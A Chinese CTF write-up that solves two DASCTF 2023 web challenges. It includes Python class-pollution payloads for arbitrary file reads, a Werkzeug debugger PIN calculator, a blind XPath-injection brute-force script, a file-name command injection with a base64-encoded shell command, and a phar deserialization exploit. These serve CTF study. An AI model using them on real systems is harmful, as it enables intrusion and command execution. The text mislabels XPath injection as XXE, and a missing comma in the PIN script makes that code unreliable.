[DASCTF 2023 0X401七月暑期挑战赛] web刷题记录

news2024/11/17 1:30:49

文章目录

  • EzFlask
    • 方法一 python原型链污染
    • 方法二 flask框架静态文件
    • 方法三 pin码计算
  • MyPicDisk
    • 方法一 字符串拼接执行命令
    • 方法二 phar反序列化


EzFlask

考点:python原型链污染、flask框架理解、pin码计算

源码如下

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

分析一下,首先定义了check函数进行黑名单检测,然后是存在merge函数可以进行原型链污染,定义user的类;/register路由下先进行check检测,接收json格式数据,进行merge原型链污染;/login路由下,接收json数据,判断username的session是否正确;/路由下会读取源码文件(我们可以污染进行回显)

方法一 python原型链污染

前置知识

NodeJs原型链污染中,对象的__proto__属性,指向这个对象所在的类的prototype属性。如果我们修改了son.__proto__中的值,就可以修改父类。
在Python中,所有以双下划线__包起来的方法,统称为Magic Method(魔术方法),它是一种的特殊方法,普通方法需要调用,而魔术方法不需要调用就可以自动执行。

由于跟路由下会读取源码内容,我们可以污染__file__全局变量实现任意文件读取
由于过滤了__init__,我们可以通过Unicode编码绕过或者用类中的check代替
payload如下

{
    "username":"1",
    "password":"1",
    "__class__":{
        "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
            "__globals__":{
                "__file__":"/proc/1/environ"
            }
        }
    }
}

然后再访问得到flag
在这里插入图片描述

方法二 flask框架静态文件

前置知识

在 Python 中,全局变量 app 和 _static_folder 通常用于构建 Web 应用程序,并且这两者在 Flask 框架中经常使用。

  1. app 全局变量:
    • app 是 Flask 应用的实例,是一个 Flask 对象。通过创建 app 对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
    • Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
    • app 对象包含了大量的功能和方法,例如 route、run、add_url_rule 等,这些方法用于处理请求和设置应用的各种配置。
    • 通过 app.run() 方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。
  2. _static_folder 全局变量:
    • _static_folder 是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
    • 静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
    • 在 Flask 中,可以通过 app.static_folder 属性来访问 _static_folder,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static 文件夹中。
    • Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像。

综上所述,app 和 _static_folder 这两个全局变量在 Flask 应用中都扮演着重要的角色,app 是整个应用的核心实例,用于处理请求和设置应用的配置,而 _static_folder 是用于指定静态文件的存放路径,使网页能够正确地加载和显示样式和图像。

我们污染"_static_folder":"/",使得静态目录直接设置为了根目录,那么我们就可以访问/static/proc/1/environ
payload如下

{
    "username":"1",
    "password":"1",
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
        "__globals__":{
        "app":{
            "_static_folder":"/"
            }
        }
    }
}

访问静态文件即可
在这里插入图片描述

方法三 pin码计算

由于我们已经知道存在原型链污染,我们可以结合任意文件读取有效信息计算pin码
脚本如下

import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376927778',  
    '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

然后访问/console即可
在这里插入图片描述

MyPicDisk

考点:xxe盲注、命令执行、phar反序列化

打开题目,给了登录框,试试万能密码抓包看看
发现有hint
在这里插入图片描述
访问把源码下载下来

<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
              $file->show();
          }
      }
  }
}
?>
</body>
</html>

分析如下

  1. 定义了FILE类,包含三个属性。实例化的时候检测是否包含/,且是否只有一个.符号。然后定义了remove和show方法,最后会对文件名命令执行(此处可以rce)
  2. 然后就是接收登陆参数以及session值是否为admin
  3. 最后对上传文件进行白名单检测,然后提供remove和show功能,上传成功后会对文件名实例化

我们刚刚万能密码登录后发现并不是admin的session,所以还是不行
我们看向下面代码,存在xxe漏洞

if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }

其中重要代码$x_query="/accounts/user[username='{$username}' and password='{$password}']";构建一个XPath查询语句,用于在XML文件中查

xxe盲注脚本如下

import requests
import time
url ='http://0f5e84c5-9aba-4f79-9744-65916fd167a9.node4.buuoj.cn:81/'


strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'


flag =''
for i in range(1,100):
    for j in strs:
        #猜测根节点名称 #accounts
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        # payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)

        #猜测子节点名称 #user
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        # payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)



        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)、
        # payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)


        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
            "username":payload_username,
            "password":123,
            "submit":"1"
        }


        print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)


        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

注出来的再拿去解密得到密码
在这里插入图片描述
登陆后发现有文件上传功能

方法一 字符串拼接执行命令

我们已经知道上传图片成功后会对FILE实例化,结合下面实现rce

public function __destruct(){
        system("ls -all ".$this->filename);
    }

注:一定不能报错,否则不会执行destruct

我们可以bp抓包,修改文件名如下

;`echo Y2F0IC9hZGphcyo= | base64 -d`;1.jpg

在这里插入图片描述

然后上传成功后访问?file=上传文件名即可
在这里插入图片描述

方法二 phar反序列化

这个思路的利用点如下

if ($_GET['todo'] === "md5"){
	echo md5_file($filename);
}

md5_file函数
在这里插入图片描述

一般参数是string形式的文件名称($filename)的函数,都可以用来解析phar

我们可以创建phar文件修改后缀,然后再file读取(todo参数值为md5)
exp

<?php

class FILE{
    public $filename=';cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd';
    public $lasttime;
    public $size;
    
}
$a=new FILE();
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后bp抓包修改后缀
在这里插入图片描述然后用phar伪协议读取即可

?file=phar://hacker.jpg&&todo=md5

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1262191.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux驱动开发笔记(五):驱动连接用户层与内核层的文件操作集原理和Demo

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/134561660 红胖子网络科技博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬…

OpenVINO异步Stable Diffusion推理优化方案

文章目录 Stable Diffusion 推理优化背景技术讲解&#xff1a;异步优化方案思路&#xff1a;异步推理优化原理OpenVINO异步推理Python API同步和异步实现方式对比 oneflow分布式调度优化优势&#xff1a;实现思路 总结&#xff1a; Stable Diffusion 推理优化 背景 2022年&am…

山西电力市场日前价格预测【2023-11-29】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2023-11-29&#xff09;山西电力市场全天平均日前电价为275.28元/MWh。其中&#xff0c;最高日前电价为415.78元/MWh&#xff0c;预计出现在17:45。最低日前电价为0.00元/MWh&#xff0c;预计出…

Make Pixels Dance: High-Dynamic Video Generation论文解析

高动态视频生成的新进展 Make Pixels Dance: High-Dynamic Video Generation高动态视频生成的新进展前言视频生成模式摘要论文十问实验数据集定量评估指标消融研究 训练和推理技巧训练技术推理技术 更多的应用 Make Pixels Dance: High-Dynamic Video Generation 高动态视频生…

MySQL在Docker容器中的性能损失分析与优化策略

文章目录 1. Docker容器对MySQL性能的潜在影响1.1. IO性能1.2. 网络性能1.3. 资源隔离 2. 优化策略2.1. 使用本地数据卷2.2. 配置合理的容器网络2.3. 限制容器资源2.4. 使用容器编排工具 3. 性能测试与监控4. 结论 &#x1f389;MySQL在Docker容器中的性能损失分析与优化策略 ☆…

sqli-labs靶场详解(less17-less22)

目录 less-17 less-18 less-19 less-20 less-21 less-22 less-17 修改密码关卡 服务器后端 账号密码都存在数据库中 使用UPDATE进行修改密码 尝试username处 尝试好久尝试不出来应该是对用户名进行了过滤 于是对password进行注入 判断注入点 passwdadmin 报错&#xff1a…

MySQL使用函数和存储过程实现:向数据表快速插入大量测试数据

实现过程 1.创建表 CREATE TABLE user_info (id INT(11) NOT NULL AUTO_INCREMENT,name VARCHAR(20) DEFAULT NULL,age INT(3) DEFAULT NULL,pwd VARCHAR(20) DEFAULT NULL,phone_number VARCHAR(11) DEFAULT NULL,email VARCHAR(255) DEFAULT NULL,address VARCHAR(255) DEF…

【TinyALSA全解析(二)】wav和pcm音频文件格式详解

wav和pcm音频文件格式详解 一、本文的目的二、wav和pcm格式文件介绍三、pcm格式文件解析四、wav文件内容解析4.1 文件内容描述4.2 实战分析 五、如何在各种音频格式之间进行转换 /******************************************************************************************…

技术SEO的基础知识和 10 个最佳实践

你有没有想过导致某些网站在搜索结果中排名比其他网站更好的因素&#xff1f;针对搜索引擎进行优化是关键&#xff08;SEO&#xff09;。SEO&#xff0c;即搜索引擎优化&#xff0c;是一种用于提高网站在搜索引擎中的知名度的方法。技术搜索引擎优化&#xff08;SEO&#xff09…

用CHAT总结费曼学习法的关键

问CHAT&#xff1a;费曼学习法的关键 CHAT回复&#xff1a;费曼学习法是由著名物理学家理查德费曼所发明的一种学习方法&#xff0c;旨在以深入理解为目标&#xff0c;帮助自己学习新的知识和技能。 费曼学习法有四个关键步骤&#xff1a; 1. 学习&#xff1a;首先&#xff0…

服务器运行情况及线上排查问题常用命令

一、top命令 指令行&#xff1a; top返回&#xff1a; 返回分为两部分 &#xff08;一&#xff09;系统概览&#xff0c;见图知意 以下是几个需要注意的参数 1、load average&#xff1a; 系统负载&#xff0c;即任务队列的平均长度。三个数值分别为 1分钟、5分钟、15分…

VSCode Vue 开发环境配置

Vue是前端开发中的重要工具与框架&#xff0c;可以保住开发者高效构建用户界面。 Vue2官方文档&#xff1a;https://v2.cn.vuejs.org/ Vue3官方文档&#xff1a;https://cn.vuejs.org/ Vue的安装和引用 Vue2的官方安装指南&#xff1a;https://v2.cn.vuejs.org/v2/guide/ins…

数据分析工具比较:Excel vs Python vs R

写在开头 在数据分析的世界里,选择合适的工具至关重要。本篇博客将深入比较常用的数据分析工具,包括Excel、Python和R,以帮助读者更好地选择适合自己需求的工具。 1.Excel:经典易用的电子表格 优势: 用户友好: Excel是大多数人熟悉的电子表格工具,使用简单,无需编程…

汽车电子 -- 车载ADAS之RCTA(后方横向来车预警 )

国际标准: RCTA: GB/T XXXXX—XXXX 乘用车后部交通穿行提示系统性能要求及试验方法 一、后方横向来车预警RCTA&#xff08; Rear Cross Traffic Assist&#xff09; 在车辆倒车时&#xff0c;实时监测车辆后方横向接近的其它道路使用者&#xff0c;并在可能发生碰撞危险时发…

稳定视频扩散数据管理解密【stable video diffusion】

Stability AI 最近于 2023 年 11 月 21 日推出了其最新模型—稳定视频扩散&#xff08;SVD&#xff09;。视频生成模型的这一突破取决于数据管理的关键作用。 除了模型检查点之外&#xff0c;他们还发布了一份技术报告。 让我们在 Stability AI 的技术报告和一些引人注目的示例…

仿东郊到家预约按摩小程序开发;

在这个快节奏的现代社会&#xff0c;人们对便捷、高效的服务需求日益增大。正因如此&#xff0c;到家预约系统上门按摩小程序应运而生&#xff0c;它结合了互联网技术和传统按摩服务&#xff0c;不仅满足了人们对便捷按摩服务的需求&#xff0c;还为商家提供了全新的商业价值。…

2、XFP 与 SFP+:有什么区别?

在光纤网络领域&#xff0c;光模块是促进数据顺利传输的重要组件。市场继续接受10G XFP和10G SFP等10G光模块&#xff0c;促使人们对XFP与SFP进行更仔细的审视。他们有什么区别&#xff1f;XFP和SFP的定义是什么&#xff1f;他们的应用场景又如何呢&#xff1f;在下文中寻找所有…

Vue3-Eslint配置代码风格

prettier风格配置 官网&#xff1a;https://prettier.io Eslint&#xff1a;代码纠错&#xff0c;关注于规范 prettier&#xff1a;专注于代码格式化的插件&#xff0c;让代码更加美观 两者各有所长&#xff0c;配合使用优化代码 生效前提&#xff1a; 1&#xff09;禁用…

基于JavaWeb+SSM+Vue校园综合服务小程序系统的设计和实现

基于JavaWebSSMVue校园综合服务小程序系统的设计和实现 源码获取入口Lun文目录前言主要技术系统设计功能截图订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码获取入口 Lun文目录 摘 要 I Abstract II 第一章 绪 论 1 1.1选题背景 2 1.2研究现状 3 1.3研究内容 …

C/C++ Zlib实现文件压缩与解压

在软件开发和数据处理中&#xff0c;对数据进行高效的压缩和解压缩是一项重要的任务。这不仅有助于减小数据在网络传输和存储中的占用空间&#xff0c;还能提高系统的性能和响应速度。本文将介绍如何使用 zlib 库进行数据的压缩和解压缩&#xff0c;以及如何保存和读取压缩后的…